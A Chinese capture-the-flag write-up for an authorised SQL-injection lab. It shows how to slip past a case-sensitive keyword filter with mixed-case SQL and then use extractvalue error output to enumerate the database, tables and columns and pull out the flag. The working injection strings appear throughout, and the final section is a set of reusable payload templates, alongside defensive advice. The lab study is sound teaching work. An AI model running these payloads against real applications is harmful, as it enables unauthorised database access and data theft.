白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(大小写过滤)
SQL注入:报错注入(大小写绕过)靶场通关记录
靶场地址:白帽江湖 SQL注入:报错注入(大小写绕过)
说明:本文仅记录在该授权靶场中的测试过程,用于学习报错型 SQL 注入结合大小写绕过 WAF 的思路。
1. 题目分析
靶场描述:
企业新闻平台增加了基础WAF防护,对union、select、extractvalue等常见SQL注入关键词进行了过滤拦截。但过滤规则存在大小写敏感缺陷,尝试利用大小写混写绕过WAF获取flag。
核心信息:
- 注入类型:报错注入
- WAF类型:关键词检测(基础版),大小写敏感
- 绕过方式:大小写混写(如
SeLeCt、eXtRaCtVaLuE)
2. 信息收集
2.1 页面初探
打开靶场后,页面标题是"星耀资讯 - 企业内部新闻平台",内容区展示了几篇文章列表:
- 年度优秀员工评选
- 服务器迁移计划
- 新员工入职培训通知
- Q1季度安全审计报告
- 公司2026年度战略规划发布
页面顶部有安全提示:⚠️ 安全防护已开启:关键词检测(基础版)
2.2 定位接口
通过查看页面源码,发现文章通过loadArticle(id)函数加载,核心请求为:
fetch('query.php?id='+encodeURIComponent(id))因此注入点在query.php的id参数。
3. 注入点确认
3.1 正常访问
GET /query.php?id=1返回正常文章数据:
{"code":0,"data":{"id":1,"title":"公司2026年度战略规划发布",...}}3.2 单引号测试
GET /query.php?id=1'返回数据库报错,确认存在注入:
{"code":1,"msg":"Database Error: SQLSTATE[42000]: ... near ''' at line 1"}4. WAF探测
4.1 测试 union 关键字
GET /query.php?id=1 union select 1,2,3,4,5,6,7被拦截:
{"code":1,"msg":"⚠️ 安全警告:检测到危险关键词 [union],请求已被拦截"}4.2 大小写绕过测试
GET /query.php?id=1 UnIoN SeLeCt 1,2,3,4,5,6,7成功绕过,返回正常数据!
4.3 测试其他关键词
| 关键词 | 原始写法 | 大小写绕过 | 结果 |
|---|---|---|---|
union | 被拦截 | UnIoN | 通过 |
select | 被拦截 | SeLeCt | 通过 |
extractvalue | 被拦截 | eXtRaCtVaLuE | 通过 |
updatexml | 含update被拦截 | 未测试(update被拦截) | - |
WAF 的过滤规则是全小写匹配,因此大小写混写即可绕过。
注:
updatexml因为包含子串update也被拦截,但extractvalue大小写绕过可用,所以选择extractvalue作为报错函数。
5. 报错注入获取数据
5.1 获取数据库名
使用extractvalue函数触发 XPath 报错,通过concat拼接目标数据:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))返回:
XPATH syntax error: '~vuln_db~'当前数据库名为:vuln_db
5.2 获取表名
从information_schema.tables中枚举当前库的所有表:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schema=database()),0x7e))返回:
XPATH syntax error: '~secret_flags,articles~'两张表:secret_flags和articles
其中secret_flags很可能存储着 flag。
5.3 获取字段名
查看secret_flags表的列结构:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name=0x7365637265745f666c616773),0x7e))注:
secret_flags使用十六进制编码0x7365637265745f666c616773以避免字符串引号问题。
返回:
XPATH syntax error: '~id,flag_name,flag_value~'三个字段:id,flag_name,flag_value
5.4 获取 flag
直接查询secret_flags表中的数据:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(flag_name,0x3a,flag_value) fRoM secret_flags),0x7e))返回被截断(extractvalue 默认输出长度限制为 32 字符),改为只查 flag_value:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT flag_value fRoM secret_flags wHeRe flag_name='flag'),0x7e))返回:
XPATH syntax error: '~flag{err0r_c4s3_s3ns1t1v3}~'6. 结果
最终 Flag:
flag{err0r_c4s3_s3ns1t1v3}7. 完整攻击链复盘
页面分析 → 定位 query.php?id= 接口 ↓ 单引号测试 → 确认 SQL 注入点 ↓ WAF 探测 → 发现 union/select/extractvalue 被全小写匹配过滤 ↓ 大小写绕 WAF → UnIoN / SeLeCt / eXtRaCtVaLuE 绕过检测 ↓ 报错注入 → extractvalue 触发 XPath 错误回显 ↓ database() → 获取库名 vuln_db ↓ information_schema.tables → 获取表名 secret_flags ↓ information_schema.columns → 获取字段名 flag_name, flag_value ↓ 查询 secret_flags → 获取 flag{err0r_c4s3_s3ns1t1v3}8. 关键点总结
8.1 WAF 绕过技巧
本题 WAF 的过滤规则是基于全小写关键词匹配,实现简单但有明显缺陷:
- 检测到
union→ 拦截,但UnIoN不匹配小写规则 → 放过 - 检测到
select→ 拦截,但SeLeCt不匹配 → 放过 - 检测到
extractvalue→ 拦截,但eXtRaCtVaLuE不匹配 → 放过
8.2 绕过方式汇总
| SQL 关键字 | 原始写法 | 绕过写法 |
|---|---|---|
| SELECT | select | SeLeCt,sElEcT,SELECT等 |
| UNION | union | UnIoN,uNiOn等 |
| FROM | from | fRoM,FrOm等 |
| WHERE | where | wHeRe,WhErE等 |
| EXTRACTVALUE | extractvalue | eXtRaCtVaLuE等 |
| GROUP_CONCAT | group_concat | gRoUp_cOnCaT等 |
8.3 extractvalue 长度限制
extractvalue()报错输出默认最大长度为32 字符,当拼接的数据超过该长度时会被截断。如果 flag 较长,可以通过以下方式解决:
- 直接查单个字段(本题使用的方法):
SELECT flag_value FROM secret_flags WHERE flag_name='flag' - 使用 substr 分段截取:
substr(flag_value, 1, 32)和substr(flag_value, 32, 64) - 使用 updatexml(如果没被拦截):
updatexml()同样有 32 字符限制
9. 防御建议
针对此类攻击,防御方应该:
- 不依赖大小写过滤:使用不区分大小写的匹配方式(如转换为统一大小写后再匹配)
- 使用参数化查询:从根本上杜绝 SQL 注入
- 关闭错误回显:生产环境不应暴露数据库错误信息
- 使用正则表达式检测:如
/\b(union|select|extractvalue)\b/i加上i标志进行大小写不敏感匹配
10. 可直接复用的 payload 模板
大小写绕过测试
?id=1 UnIoN SeLeCt 1,2,3获取数据库名
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))枚举表名
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schema=database()),0x7e))枚举字段名
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name='表名'),0x7e))获取数据
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(字段名) fRoM 表名),0x7e))